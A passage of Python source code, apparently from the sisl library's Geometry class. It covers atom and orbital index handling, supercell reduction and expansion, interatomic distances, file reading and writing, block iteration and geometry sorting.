\"\"\"Returns geometry coordinates in fractional coordinates\"\"\"\n return dot(self.xyz, self.icell.T)\n\n def __setitem__(self, atoms, value):\n \"\"\"Specify geometry coordinates\"\"\"\n if isinstance(atoms, str):\n self.names.add_name(atoms, value)\n elif isinstance(value, str):\n self.names.add_name(value, atoms)\n\n @singledispatchmethod\n def __getitem__(self, atoms) -> ndarray:\n \"\"\"Geometry coordinates (allows supercell indices)\"\"\"\n return self.axyz(atoms)\n\n @__getitem__.register\n def _(self, atoms: slice) -> ndarray:\n if atoms.stop is None:\n atoms = atoms.indices(self.na)\n else:\n atoms = atoms.indices(self.na_s)\n return self.axyz(_a.arangei(atoms[0], atoms[1], atoms[2]))\n\n @__getitem__.register\n def _(self, atoms: tuple) -> ndarray:\n return self[atoms[0]][..., atoms[1]]\n\n @singledispatchmethod\n def _sanitize_atoms(self, atoms) -> ndarray:\n \"\"\"Converts an `atoms` to index under given inputs\n\n `atoms` may be one of the following:\n\n - boolean array -> nonzero()[0]\n - name -> self._names[name]\n - `Atom` -> self.atoms.index(atom)\n - range/list/ndarray -> ndarray\n \"\"\"\n if atoms is None:\n return np.arange(self.na)\n atoms = _a.asarray(atoms)\n if atoms.size == 0:\n return _a.asarrayl([])\n elif atoms.dtype == bool_:\n return atoms.nonzero()[0]\n return atoms\n\n @_sanitize_atoms.register\n def _(self, atoms: ndarray) -> ndarray:\n if atoms.dtype == bool_:\n return np.flatnonzero(atoms)\n return atoms\n\n @_sanitize_atoms.register\n def _(self, atoms: str) -> ndarray:\n return self.names[atoms]\n\n @_sanitize_atoms.register\n def _(self, atoms: Atom) -> ndarray:\n return self.atoms.index(atoms)\n\n @_sanitize_atoms.register(AtomCategory)\n @_sanitize_atoms.register(GenericCategory)\n def _(self, atoms) -> ndarray:\n # First do categorization\n cat = atoms.categorize(self)\n\n def m(cat):\n for ia, c in enumerate(cat):\n if c == None:\n # we are using NullCategory == None\n pass\n else:\n yield ia\n\n return _a.fromiterl(m(cat))\n\n @_sanitize_atoms.register\n def _(self, atoms: dict) -> ndarray:\n # First do categorization\n return self._sanitize_atoms(AtomCategory.kw(**atoms))\n\n @_sanitize_atoms.register\n def _(self, atoms: Shape) -> ndarray:\n # This is perhaps a bit weird since a shape could\n # extend into the supercell.\n # Since the others only does this for unit-cell atoms\n # then it seems natural to also do that here...\n return atoms.within_index(self.xyz)\n\n @singledispatchmethod\n def _sanitize_orbs(self, orbitals) -> ndarray:\n \"\"\"Converts an `orbital` to index under given inputs\n\n `orbital` may be one of the following:\n\n - boolean array -> nonzero()[0]\n - dict -> {atom: sub_orbital}\n \"\"\"\n if orbitals is None:\n return np.arange(self.no)\n orbitals = _a.asarray(orbitals)\n if orbitals.size == 0:\n return _a.asarrayl([])\n elif orbitals.dtype == np.bool_:\n return orbitals.nonzero()[0]\n return orbitals\n\n @_sanitize_orbs.register\n def _(self, orbitals: ndarray) -> ndarray:\n if orbitals.dtype == bool_:\n return np.flatnonzero(orbitals)\n return orbitals\n\n @_sanitize_orbs.register\n def _(self, orbitals: str) -> ndarray:\n atoms = self._sanitize_atoms(orbitals)\n return self.a2o(atoms, all=True)\n\n @_sanitize_orbs.register\n def _(self, orbitals: AtomCategory) -> ndarray:\n atoms = self._sanitize_atoms(orbitals)\n return self.a2o(atoms, all=True)\n\n @_sanitize_orbs.register\n def _(self, orbitals: Shape) -> ndarray:\n atoms = self._sanitize_atoms(orbitals)\n return self.a2o(atoms, all=True)\n\n @_sanitize_orbs.register\n def _(self, orbitals: dict) -> ndarray:\n \"\"\"A dict has atoms as keys\"\"\"\n\n def conv(atom, orbs):\n atom = self._sanitize_atoms(atom)\n return np.add.outer(self.firsto[atom], orbs).ravel()\n\n return np.concatenate(\n tuple(conv(atom, orbs) for atom, orbs in orbitals.items())\n )\n\n def as_primary(\n self, na_primary: int, axes=(0, 1, 2), ret_super: bool = False\n ) -> Union[Geometry, Tuple[Geometry, Lattice]]:\n \"\"\"Reduce the geometry to the primary unit-cell comprising `na_primary` atoms\n\n This will basically try and find the tiling/repetitions required for the geometry to only have\n `na_primary` atoms in the unit cell.\n\n Parameters\n ----------\n na_primary :\n number of atoms in the primary unit cell\n axes : array_like, optional\n only search the given directions for supercells, default to all directions\n ret_super :\n also return the number of supercells used in each direction\n\n Returns\n -------\n `Geometry`\n the primary unit cell\n `Lattice`\n the tiled supercell numbers used to find the primary unit cell (only if `ret_super` is true)\n\n Raises\n ------\n `SislError`\n If the algorithm fails.\n \"\"\"\n na = len(self)\n if na % na_primary != 0:\n raise ValueError(\n f\"{self.__class__.__name__}.as_primary requires the number of atoms to be divisable by the \"\n \"total number of atoms.\"\n )\n\n axes = _a.arrayi(axes)\n\n n_supercells = len(self) // na_primary\n if n_supercells == 1:\n # Return a copy of self\n if ret_super:\n return self.copy(), self.nsc.copy()\n return self.copy()\n\n # Now figure out the repetitions along each direction\n fxyz = self.fxyz\n # Move to 0\n fxyz -= fxyz.min(0)\n # Shift a little bit in to account for inaccuracies.\n fxyz += (0.5 - (fxyz.max(0) - fxyz.min(0)) / 2) * 0.01\n\n # Default guess to 1 along all directions\n supercell = _a.onesi(3)\n\n n_bin = n_supercells\n while n_bin > 1:\n # Create bins\n bins = np.linspace(0, 1, n_bin + 1)\n\n # Loop directions where we need to check\n for axis in axes:\n if supercell[axis] != 1:\n continue\n\n # A histogram should yield an equal splitting for each bins\n # if the geometry is a n_bin repetition along the i'th direction.\n # Hence if diff == 0 for all elements we have a match.\n diff_bin = np.diff(np.histogram(fxyz[:, axis], bins)[0])\n\n if diff_bin.sum() == 0:\n supercell[axis] = n_bin\n if np.prod(supercell) > n_supercells:\n # For geometries with more than 1 atom in the primary unit cell\n # we can get false positives (each layer can be split again)\n # We will search again the max-value supercell\n i_max = supercell.argmax()\n n_bin = supercell[i_max]\n supercell[i_max] = 1\n\n # Quick escape if hit the correct number of supercells\n if np.prod(supercell) == n_supercells:\n break\n\n n_bin -= 1\n\n # Check that the number of supercells match\n if np.prod(supercell) != n_supercells:\n raise SislError(\n f\"{self.__class__.__name__}.as_primary could not determine the optimal supercell.\"\n )\n\n # Cut down the supercell (TODO this does not correct the number of supercell connections!)\n lattice = self.lattice.copy()\n for i in range(3):\n lattice = lattice.untile(supercell[i], i)\n\n # Now we need to find the atoms that are in the primary cell\n # We do this by finding all coordinates within the primary unit-cell\n fxyz = dot(self.xyz, lattice.icell.T)\n # Move to 0 and shift in 0.05 Ang in each direction\n fxyz -= fxyz.min(0)\n\n # Find minimal distance in each direction\n sc_idx = (supercell > 1).nonzero()[0]\n min_fxyz = _a.zerosd(3)\n for i in sc_idx:\n s_fxyz = np.sort(fxyz[:, i])\n min_fxyz[i] = s_fxyz[(s_fxyz < 1e-4).nonzero()[0][-1] + 1]\n fxyz += min_fxyz * 0.05\n\n # Find all fractional indices that are below 1\n ind = np.logical_and.reduce(fxyz < 1.0, axis=1).nonzero()[0]\n\n geom = self.sub(ind)\n geom.set_lattice(lattice)\n if ret_super:\n return geom, supercell\n return geom\n\n def as_supercell(self) -> Geometry:\n \"\"\"Create a new geometry equivalent to ``self * self.nsc``, where the indices are ordered as the supercells\n\n Returns\n -------\n `Geometry`\n the supercell expanded and reordered Geometry\n \"\"\"\n # Get total number of atoms\n na = len(self)\n # create the big supercell geometry in the simplest (linear) way\n sc = self * self.nsc\n\n # remove nsc, this supercell should hold all information\n sc.set_nsc([1, 1, 1])\n\n # get off-set for first atom\n # this is used to correct the indices created after having shifted\n # everything\n f0 = self.fxyz[0]\n\n # translate the supercell such that the 0, 0, 0 (primary cell)\n # is located at the origin.\n sc = sc.translate(-(self.nsc // 2) @ self.cell)\n\n # Calculate the translation table such that the ordering in `sc` can\n # be made to look like the `self` supercell indices\n isc_sc = np.rint(sc.xyz[::na] @ self.icell.T - f0).astype(np.int32)\n isc_self = self.a2isc(np.arange(self.n_s) * na)\n\n def new_sub(isc):\n return (abs(isc_sc - isc).sum(1) == 0).nonzero()[0][0]\n\n # Create the translation table for the indices\n translate = np.array([new_sub(isc) for isc in isc_self])\n # make sure all atoms are present\n translate = np.repeat(translate * na, na).reshape(-1, na) + np.arange(na)\n\n # re-arrange the atoms and return\n return sc.sub(translate.ravel())\n\n def reorder(self) -> None:\n \"\"\"Reorders atoms according to first occurence in the geometry\n\n The atoms gets reordered according to their placement in the geometry.\n For instance, if the first atom is the 2nd species in the geometry. Then\n this routine will swap the 2nd and 1st species in the `self.atoms` object.\n\n Notes\n -----\n This is an in-place operation.\n \"\"\"\n self._atoms = self.atoms.reorder(in_place=True)\n\n def reduce(self) -> None:\n \"\"\"Remove all atoms not currently used in the ``self.atoms`` object\n\n Notes\n -----\n This is an in-place operation.\n \"\"\"\n self._atoms = self.atoms.reduce(in_place=True)\n\n def rij(self, ia: AtomsArgument, ja: AtomsArgument) -> ndarray:\n r\"\"\"Distance between atom `ia` and `ja`, atoms can be in super-cell indices\n\n Returns the distance between two atoms:\n\n .. math::\n r_{ij} = |r_j - r_i|\n\n Parameters\n ----------\n ia :\n atomic index of first atom\n ja :\n atomic indices\n \"\"\"\n R = self.Rij(ia, ja)\n\n if len(R.shape) == 1:\n return (R[0] ** 2.0 + R[1] ** 2 + R[2] ** 2) ** 0.5\n\n return fnorm(R)\n\n def Rij(self, ia: AtomsArgument, ja: AtomsArgument) -> ndarray:\n r\"\"\"Vector between atom `ia` and `ja`, atoms can be in super-cell indices\n\n Returns the vector between two atoms:\n\n .. math::\n R_{ij} = r_j - r_i\n\n Parameters\n ----------\n ia :\n atomic index of first atom\n ja :\n atomic indices\n \"\"\"\n xi = self.axyz(ia)\n xj = self.axyz(ja)\n\n if isinstance(ja, Integral):\n return xj[:] - xi[:]\n elif np.allclose(xi.shape, xj.shape):\n return xj - xi\n\n return xj - xi[None, :]\n\n def orij(self, orbitals1: OrbitalsArgument, orbitals2: OrbitalsArgument) -> ndarray:\n r\"\"\"Distance between orbital `orbitals1` and `orbitals2`, orbitals can be in super-cell indices\n\n Returns the distance between two orbitals:\n\n .. math::\n r_{ij} = |r_j - r_i|\n\n Parameters\n ----------\n orbitals1 :\n orbital index of first orbital\n orbitals2 :\n orbital indices\n \"\"\"\n return self.rij(self.o2a(orbitals1), self.o2a(orbitals2))\n\n def oRij(self, orbitals1: OrbitalsArgument, orbitals2: OrbitalsArgument) -> ndarray:\n r\"\"\"Vector between orbital `orbitals1` and `orbitals2`, orbitals can be in super-cell indices\n\n Returns the vector between two orbitals:\n\n .. math::\n R_{ij} = r_j - r_i\n\n Parameters\n ----------\n orbitals1 :\n orbital index of first orbital\n orbitals2 :\n orbital indices\n \"\"\"\n return self.Rij(self.o2a(orbitals1), self.o2a(orbitals2))\n\n @staticmethod\n def read(sile: SileType, *args, **kwargs) -> Geometry:\n \"\"\"Reads geometry from the `Sile` using `Sile.read_geometry`\n\n Parameters\n ----------\n sile :\n a `Sile` object which will be used to read the geometry\n if it is a string it will create a new sile using `get_sile`.\n\n See Also\n --------\n write : writes a `Geometry` to a given `Sile`/file\n \"\"\"\n # This only works because, they *must*\n # have been imported previously\n from sisl.io import BaseSile, get_sile\n\n if isinstance(sile, BaseSile):\n return sile.read_geometry(*args, **kwargs)\n else:\n with get_sile(sile, mode=\"r\") as fh:\n return fh.read_geometry(*args, **kwargs)\n\n def write(self, sile: SileType, *args, **kwargs) -> None:\n \"\"\"Writes geometry to the `Sile` using `sile.write_geometry`\n\n Parameters\n ----------\n sile :\n a `Sile` object which will be used to write the geometry\n if it is a string it will create a new sile using `get_sile`\n *args, **kwargs:\n Any other args will be passed directly to the\n underlying routine\n\n See Also\n --------\n read : reads a `Geometry` from a given `Sile`/file\n \"\"\"\n # This only works because, they *must*\n # have been imported previously\n from sisl.io import BaseSile, get_sile\n\n if isinstance(sile, BaseSile):\n sile.write_geometry(self, *args, **kwargs)\n else:\n with get_sile(sile, mode=\"w\") as fh:\n fh.write_geometry(self, *args, **kwargs)\n\n def __str__(self) -> str:\n \"\"\"str of the object\"\"\"\n s = self.__class__.__name__ + f\"{{na: {self.na}, no: {self.no},\\n \"\n s += str(self.atoms).replace(\"\\n\", \"\\n \")\n if len(self.names) > 0:\n s += \",\\n \" + str(self.names).replace(\"\\n\", \"\\n \")\n return (\n s\n + \",\\n maxR: {0:.5f},\\n {1}\\n}}\".format(\n self.maxR(), str(self.lattice).replace(\"\\n\", \"\\n \")\n )\n ).strip()\n\n def __repr__(self) -> str:\n \"\"\"A simple, short string representation.\"\"\"\n return f\"<{self.__module__}.{self.__class__.__name__} na={self.na}, no={self.no}, nsc={self.nsc}>\"\n\n def iter(self) -> Iterator[int]:\n \"\"\"An iterator over all atomic indices\n\n This iterator is the same as:\n\n >>> for ia in range(len(self)):\n ... \n\n or equivalently\n\n >>> for ia in self:\n ... \n\n See Also\n --------\n iter_species : iterate across indices and atomic species\n iter_orbitals : iterate across atomic indices and orbital indices\n \"\"\"\n yield from range(len(self))\n\n __iter__ = iter\n\n def iter_species(\n self, atoms: Optional[AtomsArgument] = None\n ) -> Iterator[int, Atom, int]:\n \"\"\"Iterator over all atoms (or a subset) and species as a tuple in this geometry\n\n >>> for ia, a, idx_specie in self.iter_species():\n ... isinstance(ia, int) == True\n ... isinstance(a, Atom) == True\n ... isinstance(idx_specie, int) == True\n\n with ``ia`` being the atomic index, ``a`` the `Atom` object, ``idx_specie``\n is the index of the specie\n\n Parameters\n ----------\n atoms :\n only loop on the given atoms, default to all atoms\n\n See Also\n --------\n iter : iterate over atomic indices\n iter_orbitals : iterate across atomic indices and orbital indices\n \"\"\"\n if atoms is None:\n for ia in self:\n yield ia, self.atoms[ia], self.atoms.specie[ia]\n else:\n for ia in self._sanitize_atoms(atoms).ravel():\n yield ia, self.atoms[ia], self.atoms.specie[ia]\n\n def iter_orbitals(\n self, atoms: Optional[AtomsArgument] = None, local: bool = True\n ) -> Iterator[int, int]:\n r\"\"\"Returns an iterator over all atoms and their associated orbitals\n\n >>> for ia, io in self.iter_orbitals():\n\n with ``ia`` being the atomic index, ``io`` the associated orbital index on atom ``ia``.\n Note that ``io`` will start from ``0``.\n\n Parameters\n ----------\n atoms :\n only loop on the given atoms, default to all atoms\n local :\n whether the orbital index is the global index, or the local index relative to\n the atom it resides on.\n\n Yields\n ------\n ia\n atomic index\n io\n orbital index\n\n See Also\n --------\n iter : iterate over atomic indices\n iter_species : iterate across indices and atomic species\n \"\"\"\n if atoms is None:\n if local:\n for ia, IO in enumerate(zip(self.firsto, self.lasto + 1)):\n for io in range(IO[1] - IO[0]):\n yield ia, io\n else:\n for ia, IO in enumerate(zip(self.firsto, self.lasto + 1)):\n for io in range(IO[0], IO[1]):\n yield ia, io\n else:\n atoms = self._sanitize_atoms(atoms).ravel()\n if local:\n for ia, io1, io2 in zip(\n atoms, self.firsto[atoms], self.lasto[atoms] + 1\n ):\n for io in range(io2 - io1):\n yield ia, io\n else:\n for ia, io1, io2 in zip(\n atoms, self.firsto[atoms], self.lasto[atoms] + 1\n ):\n for io in range(io1, io2):\n yield ia, io\n\n def iR(self, na: int = 1000, iR: int = 20, R: Optional[float] = None) -> int:\n \"\"\"Return an integer number of maximum radii (``self.maxR()``) which holds approximately `na` atoms\n\n Parameters\n ----------\n na :\n number of atoms within the radius\n iR :\n initial `iR` value, which the sphere is estitametd from\n R :\n the value used for atomic range (defaults to ``self.maxR()``)\n\n Returns\n -------\n int\n number of radius needed to contain `na` atoms. Minimally 2 will be returned.\n \"\"\"\n ia = np.random.randint(len(self))\n\n # default block iterator\n if R is None:\n R = self.maxR() + 0.001\n if R < 0:\n raise ValueError(\n f\"{self.__class__.__name__}.iR unable to determine a number of atoms within a sphere with negative radius, is maxR() defined?\"\n )\n\n # Number of atoms within 20 * R\n naiR = max(1, len(self.close(ia, R=R * iR)))\n\n # Convert to na atoms spherical radii\n iR = int(4 / 3 * np.pi * R**3 / naiR * na)\n\n return max(2, iR)\n\n def iter_block_rand(\n self,\n iR: int = 20,\n R: Optional[float] = None,\n atoms: Optional[AtomsArgument] = None,\n ) -> Iterator[Tuple[ndarray, ndarray]]:\n \"\"\"Perform the *random* block-iteration by randomly selecting the next center of block\"\"\"\n\n # We implement yields as we can then do nested iterators\n # create a boolean array\n na = len(self)\n if atoms is not None:\n not_passed = np.zeros(na, dtype=bool)\n # Reverse the values\n not_passed[atoms] = True\n else:\n not_passed = np.ones(na, dtype=bool)\n\n # Figure out how many we need to loop on\n not_passed_N = np.sum(not_passed)\n\n if iR < 2:\n raise SislError(f\"{self.__class__.__name__}.iter_block_rand too small iR!\")\n\n if R is None:\n R = self.maxR() + 0.001\n # The boundaries (ensure complete overlap)\n R = np.array([iR - 0.5, iR + 0.501]) * R\n\n # loop until all passed are true\n while not_passed_N > 0:\n # Take a random non-passed element\n all_true = not_passed.nonzero()[0]\n\n # Shuffle should increase the chance of hitting a\n # completely \"fresh\" segment, thus we take the most\n # atoms at any single time.\n # Shuffling will cut down needed iterations.\n np.random.shuffle(all_true)\n # take one element, after shufling, we can take the first\n idx = all_true[0]\n del all_true\n\n # Now we have found a new index, from which\n # we want to create the index based stuff on\n\n # get all elements within two radii\n all_idx = self.close(idx, R=R)\n\n # Get unit-cell atoms, we are drawing a circle, and this\n # circle only encompasses those already in the unit-cell.\n all_idx[1] = np.union1d(\n self.sc2uc(all_idx[0], unique=True), self.sc2uc(all_idx[1], unique=True)\n )\n # If we translated stuff into the unit-cell, we could end up in situations\n # where the supercell atom is in the circle, but not the UC-equivalent\n # of that one.\n all_idx[0] = all_idx[0][all_idx[0] < na]\n\n # Only select those who have not been runned yet\n all_idx[0] = all_idx[0][not_passed[all_idx[0]].nonzero()[0]]\n if len(all_idx[0]) == 0:\n continue\n\n # Tell the next loop to skip those passed\n not_passed[all_idx[0]] = False\n # Update looped variables\n not_passed_N -= len(all_idx[0])\n\n # Now we want to yield the stuff revealed\n # all_idx[0] contains the elements that should be looped\n # all_idx[1] contains the indices that can be searched\n yield all_idx[0], all_idx[1]\n\n if np.any(not_passed):\n print(not_passed.nonzero()[0])\n print(np.sum(not_passed), len(self))\n raise SislError(\n f\"{self.__class__.__name__}.iter_block_rand error on iterations. Not all atoms have been visited.\"\n )\n\n def iter_block_shape(\n self, shape=None, iR: int = 20, atoms: Optional[AtomsArgument] = None\n ) -> Iterator[Tuple[ndarray, ndarray]]:\n \"\"\"Perform the *grid* block-iteration by looping a grid\"\"\"\n\n # We implement yields as we can then do nested iterators\n # create a boolean array\n na = len(self)\n if atoms is not None:\n not_passed = np.zeros(na, dtype=bool)\n # Reverse the values\n not_passed[atoms] = True\n else:\n not_passed = np.ones(na, dtype=bool)\n\n # Figure out how many we need to loop on\n not_passed_N = np.sum(not_passed)\n\n if iR < 2:\n raise SislError(f\"{self.__class__.__name__}.iter_block_shape too small iR!\")\n\n R = self.maxR() + 0.001\n if shape is None:\n # we default to the Cube shapes\n dS = (Cube((iR - 0.5) * R), Cube((iR + 1.501) * R))\n else:\n if isinstance(shape, Shape):\n dS = (shape,)\n else:\n dS = tuple(shape)\n if len(dS) == 1:\n dS += (dS[0].expand(R),)\n if len(dS) != 2:\n raise ValueError(\n f\"{self.__class__.__name__}.iter_block_shape, number of Shapes *must* be one or two\"\n )\n\n # Now create the Grid\n # convert the radius to a square Grid\n # We do this by examining the x, y, z coordinates\n xyz_m = np.amin(self.xyz, axis=0)\n xyz_M = np.amax(self.xyz, axis=0)\n dxyz = xyz_M - xyz_m\n\n # Currently iterating different shapes only works for\n # Sphere and Cube\n for s in dS:\n if not isinstance(s, (Cube, Sphere)):\n raise ValueError(\n f\"{self.__class__.__name__}.iter_block_shape currently only works for \"\n \"Cube or Sphere objects. Please change sources.\"\n )\n\n # Retrieve the internal diameter\n if isinstance(dS[0], Cube):\n ir = dS[0].edge_length\n elif isinstance(dS[0], Sphere):\n ir = [dS[0].radius * 0.5**0.5 * 2] * 3\n elif isinstance(dS[0], Shape):\n # Convert to spheres (which probably should be cubes for performance)\n dS = [s.to.Sphere() for s in dS]\n # Now do the same with spheres\n ir = [dS[0].radius * 0.5**0.5 * 2] * 3\n\n # Figure out number of segments in each iteration\n # (minimum 1)\n ixyz = _a.arrayi(ceil(dxyz / ir + 0.0001))\n\n # Calculate the steps required for each iteration\n for i in [0, 1, 2]:\n dxyz[i] = dxyz[i] / ixyz[i]\n\n # Correct the initial position to offset the initial displacement\n # so that we are at the border.\n xyz_m[i] += min(dxyz[i], ir[i]) / 2\n\n if xyz_m[i] > xyz_M[i]:\n # This is the case where one of the cell dimensions\n # is far too great.\n # In this case ixyz[i] should be 1\n xyz_m[i] = (xyz_M[i] - xyz_m[i]) / 2\n\n # Shorthand function\n where = np.where\n\n # Now we loop in each direction\n for x, y, z in product(range(ixyz[0]), range(ixyz[1]), range(ixyz[2])):\n # Create the new center\n center = xyz_m + [x * dxyz[0], y * dxyz[1], z * dxyz[2]]\n # Correct in case the iteration steps across the maximum\n center = where(center < xyz_M, center, xyz_M)\n dS[0].center = center[:]\n dS[1].center = center[:]\n\n # Now perform the iteration\n # get all elements within two radii\n all_idx = self.within(dS)\n\n # Get unit-cell atoms, we are drawing a circle, and this\n # circle only encompasses those already in the unit-cell.\n all_idx[1] = np.union1d(\n self.sc2uc(all_idx[0], unique=True), self.sc2uc(all_idx[1], unique=True)\n )\n # If we translated stuff into the unit-cell, we could end up in situations\n # where the supercell atom is in the circle, but not the UC-equivalent\n # of that one.\n all_idx[0] = all_idx[0][all_idx[0] < na]\n\n # Only select those who have not been runned yet\n all_idx[0] = all_idx[0][not_passed[all_idx[0]].nonzero()[0]]\n if len(all_idx[0]) == 0:\n continue\n\n # Tell the next loop to skip those passed\n not_passed[all_idx[0]] = False\n # Update looped variables\n not_passed_N -= len(all_idx[0])\n\n # Now we want to yield the stuff revealed\n # all_idx[0] contains the elements that should be looped\n # all_idx[1] contains the indices that can be searched\n yield all_idx[0], all_idx[1]\n\n if np.any(not_passed):\n not_passed = not_passed.nonzero()[0]\n raise SislError(\n f\"{self.__class__.__name__}.iter_block_shape error on iterations. Not all atoms have been visited \"\n f\"{not_passed}\"\n )\n\n def iter_block(\n self,\n iR: int = 20,\n R: Optional[float] = None,\n atoms: Optional[AtomsArgument] = None,\n method: str = \"rand\",\n ) -> Iterator[Tuple[ndarray, ndarray]]:\n \"\"\"Iterator for performance critical loops\n\n NOTE: This requires that `R` has been set correctly as the maximum interaction range.\n\n I.e. the loop would look like this:\n\n >>> for ias, idxs in self.iter_block():\n ... for ia in ias:\n ... idx_a = self.close(ia, R = R, idx = idxs)\n\n This iterator is intended for systems with more than 1000 atoms.\n\n Remark that the iterator used is non-deterministic, i.e. any two iterators need\n not return the same atoms in any way.\n\n Parameters\n ----------\n iR :\n the number of `R` ranges taken into account when doing the iterator\n R :\n enables overwriting the local R quantity. Defaults to ``self.maxR() + 0.001``\n atoms :\n enables only effectively looping a subset of the full geometry\n method : {'rand', 'sphere', 'cube'}\n select the method by which the block iteration is performed.\n Possible values are:\n\n `rand`: a spherical object is constructed with a random center according to the internal atoms\n `sphere`: a spherical equispaced shape is constructed and looped\n `cube`: a cube shape is constructed and looped\n\n Yields\n -------\n numpy.ndarray\n current list of atoms currently searched\n numpy.ndarray\n atoms that needs searching\n \"\"\"\n if iR < 2:\n raise SislError(f\"{self.__class__.__name__}.iter_block too small iR!\")\n\n method = method.lower()\n if method in (\"rand\", \"random\"):\n yield from self.iter_block_rand(iR, R, atoms)\n elif method in (\"sphere\", \"cube\"):\n if R is None:\n R = self.maxR() + 0.001\n\n # Create shapes\n if method == \"sphere\":\n dS = (Sphere((iR - 0.5) * R), Sphere((iR + 0.501) * R))\n elif method == \"cube\":\n dS = (\n Cube((2 * iR - 0.5) * R),\n # we need an extra R here since it needs to extend on both sides\n Cube((2 * iR + 1.501) * R),\n )\n\n yield from self.iter_block_shape(dS)\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.iter_block got unexpected 'method' argument: {method}\"\n )\n\n def copy(self) -> Geometry:\n \"\"\"Create a new object with the same content (a copy).\"\"\"\n g = self.__class__(\n np.copy(self.xyz), atoms=self.atoms.copy(), lattice=self.lattice.copy()\n )\n g._names = self.names.copy()\n return g\n\n def overlap(\n self,\n other: GeometryLikeType,\n eps: float = 0.1,\n offset=(0.0, 0.0, 0.0),\n offset_other=(0.0, 0.0, 0.0),\n ) -> Tuple[ndarray, ndarray]:\n \"\"\"Calculate the overlapping indices between two geometries\n\n Find equivalent atoms (in the primary unit-cell only) in two geometries.\n This routine finds which atoms have the same atomic positions in `self` and `other`.\n\n Note that this will return duplicate overlapping atoms if one atoms lies within `eps`\n of more than 1 atom in `other`.\n\n Parameters\n ----------\n other :\n Geometry to compare with `self`\n eps :\n atoms within this distance will be considered *equivalent*\n offset : list of float, optional\n offset for `self.xyz` before comparing\n offset_other : list of float, optional\n offset for `other.xyz` before comparing\n\n Examples\n --------\n >>> gr22 = sisl.geom.graphene().tile(2, 0).tile(2, 1)\n >>> gr44 = gr22.tile(2, 0).tile(2, 1)\n >>> offset = np.array([0.2, 0.4, 0.4])\n >>> gr22 = gr22.translate(offset)\n >>> idx = np.arange(len(gr22))\n >>> np.random.shuffle(idx)\n >>> gr22 = gr22.sub(idx)\n >>> idx22, idx44 = gr22.overlap(gr44, offset=-offset)\n >>> assert idx22 == np.arange(len(gr22))\n >>> assert idx44 == idx\n\n Returns\n -------\n idx_self : numpy.ndarray of int\n indices in `self` that are equivalent with `idx_other`\n idx_other : numpy.ndarray of int\n indices in `other` that are equivalent with `idx_self`\n \"\"\"\n # sanitize `other`\n other = self.new(other)\n s_xyz = self.xyz + (_a.arrayd(offset) - _a.arrayd(offset_other))\n idx_self = []\n self_extend = idx_self.extend\n idx_other = []\n other_extend = idx_other.extend\n\n for ia, xyz in enumerate(s_xyz):\n # only search in the primary unit-cell\n idx = other.close_sc(xyz, R=(eps,))\n self_extend([ia] * idx.size)\n other_extend(idx)\n return _a.arrayi(idx_self), _a.arrayi(idx_other)\n\n def sort(self, **kwargs) -> Union[Geometry, Tuple[Geometry, List]]:\n r\"\"\"Sort atoms in a nested fashion according to various criteria\n\n There are many ways to sort a `Geometry`.\n - by Cartesian coordinates, `axis`\n - by lattice vectors, `lattice`\n - by user defined vectors, `vector`\n - by grouping atoms, `group`\n - by a user defined function, `func`\n - by a user defined function using internal sorting algorithm, `func_sort`\n\n - a combination of the above in arbitrary order\n\n Additionally one may sort ascending or descending.\n\n This method allows nested sorting based on keyword arguments.\n\n Parameters\n ----------\n atoms : int or array_like, optional\n only perform sorting algorithm for subset of atoms. This is *NOT* a positional dependent\n argument. All sorting algorithms will _only_ be performed on these atoms.\n Default, all atoms will be sorted.\n ret_atoms : bool, optional\n return a list of list for the groups of atoms that have been sorted.\n axis : int or tuple of int, optional\n sort coordinates according to Cartesian coordinates, if a tuple of\n ints is passed it will be equivalent to ``sort(axis0=axis[0], axis1=axis[1])``.\n This behaves differently than `numpy.lexsort`!\n lattice : int or tuple of int, optional\n sort coordinates according to lattice vectors, if a tuple of\n ints is passed it will be equivalent to ``sort(lattice0=lattice[0], lattice1=lattice[1])``.\n Note that before sorting we multiply the fractional coordinates by the length of the\n lattice vector. This ensures that `atol` is meaningful for both `axis` and `lattice` since\n they will be on the same order of magnitude.\n This behaves differently than `numpy.lexsort`!\n vector : (3, ), optional\n sort along a user defined vector, similar to `lattice` but with a user defined\n direction. Note that `lattice` sorting and `vector` sorting are *only* equivalent\n when the lattice vector is orthogonal to the other lattice vectors.\n group : {'Z', 'symbol', 'tag', 'species'} or (str, ...), optional\n group together a set of atoms by various means.\n `group` may be one of the listed strings.\n For ``'Z'`` atoms will be grouped in atomic number\n For ``'symbol'`` atoms will be grouped by their atomic symbol.\n For ``'tag'`` atoms will be grouped by their atomic tag.\n For ``'species'`` atoms will be sorted according to their specie index.\n If a tuple/list is passed the first item is described. All subsequent items are a\n list of groups, where each group comprises elements that should be sorted on an\n equal footing. If one of the groups is None, that group will be replaced with all\n non-mentioned elements. See examples.\n func : callable or list-like of callable, optional\n pass a sorting function which should have an interface like ``func(geometry, atoms, **kwargs)``.\n The first argument is the geometry to sort. The 2nd argument is a list of indices in\n the current group of sorted atoms. And ``**kwargs`` are any optional arguments\n currently collected, i.e. `ascend`, `atol` etc.\n The function should return either a list of atoms, or a list of list of atoms (in which\n case the atomic indices have been split into several groups that will be sorted individually\n for subsequent sorting methods).\n In either case the returned indices must never hold any other indices but the ones passed\n as ``atoms``.\n If a list/tuple of functions, they will be processed in that order.\n func_sort : callable or list-like of callable, optional\n pass a function returning a 1D array corresponding to all atoms in the geometry.\n The interface should simply be: ``func(geometry)``.\n Those values will be passed down to the internal sorting algorithm.\n To be compatible with `atol` the returned values from `func_sort` should\n be on the scale of coordinates (in Ang).\n ascend, descend : bool, optional\n control ascending or descending sorting for all subsequent sorting methods.\n Default ``ascend=True``.\n atol : float, optional\n absolute tolerance when sorting numerical arrays for subsequent sorting methods.\n When a selection of sorted coordinates are grouped via `atol`, we ensure such\n a group does not alter its indices. I.e. the group is *always* ascending indices.\n Note this may have unwanted side-effects if `atol` is very large compared\n to the difference between atomic coordinates.\n Default ``1e-9``.\n\n Notes\n -----\n The order of arguments is also the sorting order. ``sort(axis=0, lattice=0)`` is different\n from ``sort(lattice=0, axis=0)``\n\n All arguments may be suffixed with integers. This allows multiple keyword arguments\n to control sorting algorithms\n in different order. It also allows changing of sorting settings between different calls.\n Note that the integers have no relevance to the order of execution!\n See examples.\n\n Returns\n -------\n geometry : Geometry\n sorted geometry\n index : list of list of indices\n indices that would sort the original structure to the output, only returned if `ret_atoms` is True\n\n Examples\n --------\n >>> geom = sisl.geom.bilayer(top_atoms=sisl.Atom[5, 7], bottom_atoms=sisl.Atom(6))\n >>> geom = geom.tile(5, 0).repeat(7, 